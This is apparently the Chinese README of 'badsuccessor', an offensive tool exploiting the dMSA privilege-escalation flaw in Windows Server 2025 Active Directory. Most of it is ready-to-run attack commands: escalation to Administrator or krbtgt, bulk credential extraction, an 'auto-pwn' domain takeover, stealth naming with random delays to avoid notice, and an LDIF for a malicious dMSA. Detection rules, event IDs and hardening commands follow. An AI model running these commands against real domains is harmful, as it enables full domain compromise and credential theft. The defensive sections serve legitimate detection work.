一个利用 Windows Server 2025 Active Directory 环境中 dMSA(委派托管服务帐户)权限提升漏洞的渗透测试工具。
**此工具仅用于经授权的渗透测试和安全研究目的。**未经明确书面许可对系统使用此工具属非法且不道德的行为。作者对此工具造成的任何误用或损害概不负责。
重要提示:此工具正处于积极开发和测试阶段。
我们鼓励安全社区:
使用此工具即表示您确认该工具正处于积极开发阶段,并可能需要针对您的特定环境进行修改。
BadSuccessor 利用 Windows Server 2025 委派托管服务帐户(dMSA)功能中的权限提升漏洞。该漏洞允许拥有最低权限的攻击者将权限提升至域中的任何用户,包括域管理员。
此工具基于 Akamai Technologies 的 Yuval Gordon 所做的出色研究:
该漏洞存在于 dMSA 迁移过程中:
msDS-ManagedAccountPrecededByLink 或 ms-DS-Managed-Account-Preceded-By-Link 设置为指向目标用户msDS-DelegatedMSAState 或 ms-DS-Delegated-MSA-State 设置为 2(迁移完成)此外,KERB-DMSA-KEY-PACKAGE 结构包含目标用户的密码密钥,从而能够提取凭据。
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**注意**:该工具已使用 impacket 0.12.0 进行测试。运行时将显示版本兼容性警告。
### 可选依赖```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild 权限Write 权限GenericWrite 权限GenericAll 权限git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### 快速入门示例
#### 1. 试运行模式(新增)- 在不进行更改的情况下测试```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. 执行攻击```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. 会话管理 (新增)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### 命令行选项
#### 身份验证参数
| 选项 | 描述 |
|--------|-------------|
| `-d, --domain` | 目标域(例如 corp.local)**[必需]** |
| `-u, --username` | 用于身份验证的用户名 **[必需]** |
| `-p, --password` | 用于身份验证的密码 |
| `--dc-ip` | 域控制器 IP(省略时自动发现) |
| `--ldaps` | 强制在 636 端口上使用 LDAPS (SSL) 连接 |
#### 攻击模式
| 选项 | 描述 |
|--------|-------------|
| `--attack` | 执行 BadSuccessor 攻击 |
| `--dry-run` | **新增**:模拟攻击而不进行任何更改 |
| `--extract-creds` | 使用密钥包提取凭据 |
| `--auto-pwn` | 全自动域接管 |
#### 目标指定
| 选项 | 描述 |
|--------|-------------|
| `--target` | 要提升权限的目标用户 |
| `--targets` | 用于凭据提取的逗号分隔的用户列表 |
| `--validate-target` | **新增**:在不发起攻击的情况下验证目标账户 |
#### dMSA 配置
| 选项 | 描述 |
|--------|-------------|
| `--dmsa-name` | 恶意 dMSA 的名称(未指定时自动生成) |
| `--dmsa-pattern` | **新增**:dMSA 命名模式(例如 "svc{random}{target}") |
| `--ou-dn` | 要使用的特定 OU DN(未指定时自动检测) |
| `--dmsa-description` | **新增**:创建的 dMSA 的描述 |
| `--dmsa-display-name` | **新增**:创建的 dMSA 的显示名称 |
#### 枚举选项
| 选项 | 描述 |
|--------|-------------|
| `--enumerate` | 枚举具有任何写入权限的 OU |
| `--list-targets` | 列出高价值目标 |
| `--check-schema` | 验证 Windows Server 2025 架构 |
#### 会话管理(新增)
| 选项 | 描述 |
|--------|-------------|
| `--session-id` | 恢复现有会话 |
| `--list-sessions` | 列出所有可用会话 |
| `--cleanup-session SESSION_ID` | 清理会话中的所有 dMSA |
#### 清理选项
| 选项 | 描述 |
|--------|-------------|
| `--cleanup` | 移除创建的 dMSA |
| `--dmsa-dn` | 用于清理操作的 dMSA DN |
| `--cleanup-all` | **新增**:清理当前会话中的所有 dMSA |
#### 输出选项
| 选项 | 描述 |
|--------|-------------|
| `--export-json FILE` | **新增**:将结果导出为 JSON 文件 |
| `--export-csv FILE` | **新增**:将结果导出为 CSV 文件 |
| `--export-html FILE` | **新增**:生成 HTML 报告 |
| `--no-banner` | 抑制横幅输出 |
| `--verbose` | 启用详细输出 |
#### 隐身选项(新增)
| 选项 | 描述 |
|--------|-------------|
| `--stealth` | 启用隐身模式(无害命名) |
| `--random-delay SECONDS` | 操作之间的随机延迟(0-N 秒) |
## 🔧 攻击工作流程
### 阶段 1:侦察
1. **架构验证**:通过动态属性检测确认 Windows Server 2025 dMSA 支持
2. **权限发现**:识别具有任何写访问权限的 OU(不仅仅是 CreateChild)
3. **目标验证**:**新增** - 攻击前的全面目标账户分析
### 阶段 2:利用
1. **预演选项**:**新增** - 在不进行更改的情况下测试攻击可行性
2. **dMSA 创建**:创建具有可自定义属性的恶意 dMSA
3. **属性操作**:在架构感知下设置前驱链接和迁移状态
4. **会话跟踪**:**新增** - 跟踪所有创建的对象以便轻松清理
### 阶段 3:身份验证
1. **Kerberos TGT 请求**:获取具有继承权限的 TGT
2. **PAC 分析**:验证继承的组成员身份
3. **密钥包提取**:通过多种回退方法增强解析
### 阶段 4:后利用
该工具提供可直接使用的命令,用于:
- DCSync 攻击(转储所有域哈希)
- 远程命令执行
- 横向移动
- 建立持久化
## 🔐 生产级功能 (v3.0.0)
### 动态架构检测(新增)
- 自动检测您的环境使用哪种属性命名约定
- 支持 dMSA 属性的所有已知变体
- 针对不同 Windows Server 2025 版本的架构回退机制
### 增强的目标验证(新增)
- 攻击前的目标账户验证
- 检测已禁用、锁定或过期的账户
- 警告智能卡要求和委派限制
- 根据目标属性提供建议
### 会话管理(新增)
- 跨操作持久会话跟踪
- 恢复中断的攻击
- 批量清理所有已创建的 dMSA
- 会话文件以 0700 权限安全存储
### 预演模式(新增)
- 在不进行任何更改的情况下测试攻击可行性
- 验证架构、权限和目标
- 准确报告真实攻击期间会发生什么
- 非常适合侦察和规划
### 隐身功能(新增)
- 融入环境的无害 dMSA 命名模式
- 操作之间的随机延迟
- 可自定义的 dMSA 属性(描述、显示名称)
- 基于变量的模式命名
### 专业输出格式(新增)
- JSON 导出,便于与其他工具集成
- CSV 导出,便于电子表格分析
- 带样式输出的 HTML 报告
- 所有操作的结构化数据
### 企业级错误处理
- 全面的错误消息和可操作的解决方案
- 所有操作的优雅回退
- 带时间戳和严重级别的详细日志记录
- 用于故障排除的详细模式
### 完整实现
- 所有功能已完全实现(无占位代码)
- 经过生产测试的代码结构
- 使用专用类的模块化设计
- 与各种 AD 配置完全兼容
## 🛡️ 检测
### 要监视的事件 ID
| 事件 ID | 来源 | 描述 |
|----------|--------|-------------|
| **5137** | 安全 | 目录服务对象创建(dMSA) |
| **5136** | 安全 | 目录服务对象修改 |
| **2946** | 目录服务 | 组托管服务账户身份验证 |
| **4768** | 安全 | 请求 Kerberos TGT |
| **4769** | 安全 | 请求 Kerberos 服务票据 |
### 检测规则```
# Splunk Query Example
index=windows EventCode=5137
| where ObjectClass="msDS-DelegatedManagedServiceAccount" OR ObjectClass="ms-DS-Delegated-Managed-Service-Account"
| where NOT user IN ("approved_admins")
# Sigma Rule Example
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName:
- 'msDS-ManagedAccountPrecededByLink'
- 'ms-DS-Managed-Account-Preceded-By-Link'
condition: selection
限制 OU 权限 ```powershell
Remove-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" -User "Domain Users" -AccessRights CreateChild,Write,GenericWrite,GenericAll
Get-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" | Where-Object {$_.IdentityReference -match "Authenticated Users|Everyone"}
监控 dMSA 操作 ```powershell
Set-ADObject -Identity "CN=Schema,CN=Configuration,DC=corp,DC=local" -Add @{ 'msDS-ReplAttributeMetaData' = @('msDS-ManagedAccountPrecededByLink', 'ms-DS-Managed-Account-Preceded-By-Link') }
实施检测
基于 Akamai 的研究:
dn: CN=evil_dmsa,OU=ServiceAccounts,DC=corp,DC=local objectClass: top objectClass: msDS-GroupManagedServiceAccount objectClass: msDS-DelegatedManagedServiceAccount sAMAccountName: evil_dmsa$ userAccountControl: 4096
msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=corp,DC=local
ms-DS-Managed-Account-Preceded-By-Link: CN=Administrator,CN=Users,DC=corp,DC=local msDS-DelegatedMSAState: 2 msDS-SupportedEncryptionTypes: 28
### 密钥包结构
KERB-DMSA-KEY-PACKAGE 包含:
- 当前密钥:dMSA 的加密密钥
- 旧密钥:目标用户的加密密钥(包括 NTLM 哈希)
- 无需破解密码即可直接提取凭据
## 🤝 贡献
欢迎贡献!请:
1. Fork 此仓库
2. 创建功能分支(`git checkout -b feature/enhancement`)
3. 提交更改(`git commit -m 'Add new feature'`)
4. 推送到分支(`git push origin feature/enhancement`)
5. 提交 Pull Request
### 开发指南
- 遵循 PEP 8 样式指南
- 为新功能添加单元测试
- 更新文档
- 在多个 AD 环境中测试
- 使用不同的架构属性命名约定进行测试
- 确保所有功能均可用于生产环境(无占位符)
## 📝 更新日志
### v2.3.0(2025-05-28)- 生产就绪版本
- **新增**:用于安全攻击模拟的试运行模式
- **新增**:全面的会话管理,支持状态持久化
- **新增**:目标账户验证及详细分析
- **新增**:导出功能(JSON、CSV、HTML)
- **新增**:使用无害命名模式的隐蔽模式
- **新增**:可自定义的 dMSA 属性(描述、显示名称)
- **新增**:支持变量的模式化 dMSA 命名
- **新增**:为隐蔽操作提供随机延迟支持
- **新增**:动态架构属性检测
- **新增**:带回退机制的增强密钥包解析
- **新增**:批量清理操作
- **新增**:专业的错误处理和日志记录
- **改进**:完整的模块化架构
- **改进**:依赖项的版本检查
- **修复**:所有占位符代码已替换为完整实现
### v2.2.0(2025-05-27)- 兼容性更新
- **修复**:解决了 impacket 导入问题(移除了 seq_decode 依赖)
- **修复**:与 impacket 0.12.0 兼容
- **功能**:增加了对两种 dMSA 属性命名约定的支持
- **改进**:更好的导入失败错误处理
- **改进**:更稳健的架构检测
### v2.1.0(2025-05-25)- 完整实现
- **重大**:增强的 ACL 权限检查 - 现在可检测所有写入权限
- **重大**:增加了对默认组(Authenticated Users、Everyone 等)的支持
- **修复**:移除了所有占位符代码
- **修复**:所有功能的完整实现
- **改进**:更好的错误处理和更清晰的信息输出
- **改进**:更全面的 OU 枚举(包括容器)
- **功能**:显示每个发现的 OU 的确切权限
- **功能**:检测受保护用户和委派限制
### v2.0.0(2025-05-24)- 增强版
- **重大**:完整的 Kerberos 身份验证实现
- **重大**:用于凭据窃取的 KERB-DMSA-KEY-PACKAGE 提取
- **重大**:基本的 ACL 权限检查
- **重大**:Windows Server 2025 架构验证
- **功能**:批量凭据提取模式
- **功能**:用于自动化域接管的 Auto-pwn 模式
- **功能**:增强的目标枚举
- **功能**:后渗透命令生成
- **改进**:更好的错误处理和日志记录
- **改进**:生产就绪的代码结构
## 📚 参考
- [Akamai 原始研究](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
- [GitHub Issue #1 - 增强的权限检查](https://github.com/cybrly/badsuccessor/issues/1)
- [GitHub Issue #2 - 架构属性命名](https://github.com/cybrly/badsuccessor/issues/2)
- [Microsoft 安全响应中心](https://msrc.microsoft.com/)
## 🐛 已知问题
- 某些环境可能使用不同的属性命名约定(通过动态检测处理)
- 哈希身份验证在初始实现中需要密码
- 某些环境可能需要手动配置 Kerberos
- 检测规则需要根据每个环境进行自定义
## 🔍 故障排查
### 导入错误
如果您在导入 impacket 时遇到错误:```bash
# Ensure you have the correct version
pip3 uninstall impacket
pip3 install impacket==0.12.0
# Check version
python3 -c "import impacket; print(impacket.__version__)"
该工具现在包含动态 schema 检测。如果仍然失败:```powershell
Get-ADObject -Filter {name -like "delegated" -or name -like "preceded"} -SearchBase "CN=Schema,CN=Configuration,DC=corp,DC=local" | Select Name
### 权限被拒绝错误
使用新的试运行模式进行测试:```bash
# Test without making changes
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Check your exact permissions
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --verbose
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
rm -rf /tmp/.badsuccessor_sessions/
## 📧 联系方式
如有问题、Issue 或负责任披露需求:
- 打开一个 GitHub Issue
- 遵循负责任披露实践
- 允许 90 天的补丁开发时间
---
**⚡ 记住:能力越大,责任越大。测试前务必获得适当授权!** 🔐